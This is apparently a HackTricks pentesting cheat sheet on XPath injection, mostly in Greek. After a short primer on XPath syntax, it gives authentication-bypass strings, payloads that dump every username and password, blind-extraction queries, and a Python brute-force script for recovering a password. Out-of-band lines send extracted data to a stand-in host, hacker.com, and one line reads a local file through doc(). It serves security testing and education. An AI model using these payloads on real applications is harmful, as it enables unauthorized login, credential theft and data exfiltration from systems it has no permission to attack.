16 KiB
XPATH injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Basic Syntax
Μια τεχνική επίθεσης γνωστή ως XPath Injection χρησιμοποιείται για να εκμεταλλευτεί εφαρμογές που σχηματίζουν ερωτήματα XPath (XML Path Language) με βάση την είσοδο του χρήστη για να ερωτήσουν ή να πλοηγηθούν σε έγγραφα XML.
Nodes Described
Οι εκφράσεις χρησιμοποιούνται για την επιλογή διαφόρων κόμβων σε ένα έγγραφο XML. Αυτές οι εκφράσεις και οι περιγραφές τους συνοψίζονται παρακάτω:
- nodename: Όλοι οι κόμβοι με το όνομα "nodename" επιλέγονται.
- /: Η επιλογή γίνεται από τον ριζικό κόμβο.
- //: Οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο επιλέγονται, ανεξάρτητα από την τοποθεσία τους στο έγγραφο.
- .: Ο τρέχων κόμβος επιλέγεται.
- ..: Ο γονέας του τρέχοντος κόμβου επιλέγεται.
- @: Οι ιδιότητες επιλέγονται.
XPath Examples
Παραδείγματα εκφράσεων διαδρομής και τα αποτελέσματά τους περιλαμβάνουν:
- bookstore: Όλοι οι κόμβοι που ονομάζονται "bookstore" επιλέγονται.
- /bookstore: Το ριζικό στοιχείο bookstore επιλέγεται. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).
- bookstore/book: Όλα τα στοιχεία βιβλίου που είναι παιδιά του bookstore επιλέγονται.
- //book: Όλα τα στοιχεία βιβλίου στο έγγραφο επιλέγονται, ανεξάρτητα από την τοποθεσία τους.
- bookstore//book: Όλα τα στοιχεία βιβλίου που είναι απόγονοι του στοιχείου bookstore επιλέγονται, ανεξάρτητα από τη θέση τους κάτω από το στοιχείο bookstore.
- //@lang: Όλες οι ιδιότητες που ονομάζονται lang επιλέγονται.
Utilization of Predicates
Οι προτάσεις χρησιμοποιούνται για την εξειδίκευση των επιλογών:
- /bookstore/book[1]: Το πρώτο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται. Μια λύση για τις εκδόσεις IE 5 έως 9, οι οποίες κατατάσσουν τον πρώτο κόμβο ως [0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript.
- /bookstore/book[last()]: Το τελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται.
- /bookstore/book[last()-1]: Το προτελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται.
- /bookstore/book[position()<3]: Τα πρώτα δύο στοιχεία βιβλίου παιδιά του στοιχείου bookstore επιλέγονται.
- //title[@lang]: Όλα τα στοιχεία τίτλου με μια ιδιότητα lang επιλέγονται.
- //title[@lang='en']: Όλα τα στοιχεία τίτλου με μια τιμή ιδιότητας "lang" ίση με "en" επιλέγονται.
- /bookstore/book[price>35.00]: Όλα τα στοιχεία βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00 επιλέγονται.
- /bookstore/book[price>35.00]/title: Όλα τα στοιχεία τίτλου των στοιχείων βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00 επιλέγονται.
Handling of Unknown Nodes
Wildcard χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:
- *: Αντιστοιχεί σε οποιοδήποτε στοιχείο κόμβου.
- @*: Αντιστοιχεί σε οποιοδήποτε κόμβο ιδιότητας.
- node(): Αντιστοιχεί σε οποιονδήποτε κόμβο οποιουδήποτε τύπου.
Περαιτέρω παραδείγματα περιλαμβάνουν:
- /bookstore/*: Επιλέγει όλους τους κόμβους στοιχείων παιδιών του στοιχείου bookstore.
- //*: Επιλέγει όλα τα στοιχεία στο έγγραφο.
- //title[@*]: Επιλέγει όλα τα στοιχεία τίτλου με τουλάχιστον μία ιδιότητα οποιουδήποτε τύπου.
Example
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Πρόσβαση στις πληροφορίες
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Αναγνώριση & κλοπή του σχήματος
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Authentication Bypass
Παράδειγμα ερωτημάτων:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR παράκαμψη σε χρήστη και κωδικό (ίδια τιμή και στους δύο)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Κατάχρηση της ένεσης null
Username: ' or 1]%00
Διπλό OR στο Όνομα Χρήστη ή στον Κωδικό (είναι έγκυρο με μόνο 1 ευάλωτο πεδίο)
ΣΗΜΑΝΤΙΚΟ: Σημειώστε ότι η "και" είναι η πρώτη λειτουργία που εκτελείται.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Εξαγωγή συμβολοσειρών
Η έξοδος περιέχει συμβολοσειρές και ο χρήστης μπορεί να χειριστεί τις τιμές για να αναζητήσει:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Πάρτε το μήκος μιας τιμής και εξαγάγετέ την μέσω συγκρίσεων:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Παράδειγμα Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Διαβάστε το αρχείο
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB Εκμετάλλευση
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Αυτόματο εργαλείο
Αναφορές
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
Συμμετάσχετε στον HackenProof Discord server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
Ενημερώσεις Χάκινγκ
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
Νέα Χάκινγκ σε Πραγματικό Χρόνο
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
Τελευταίες Ανακοινώσεις
Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφόρμας
Συμμετάσχετε μαζί μας στο Discord και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Συμμετάσχετε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.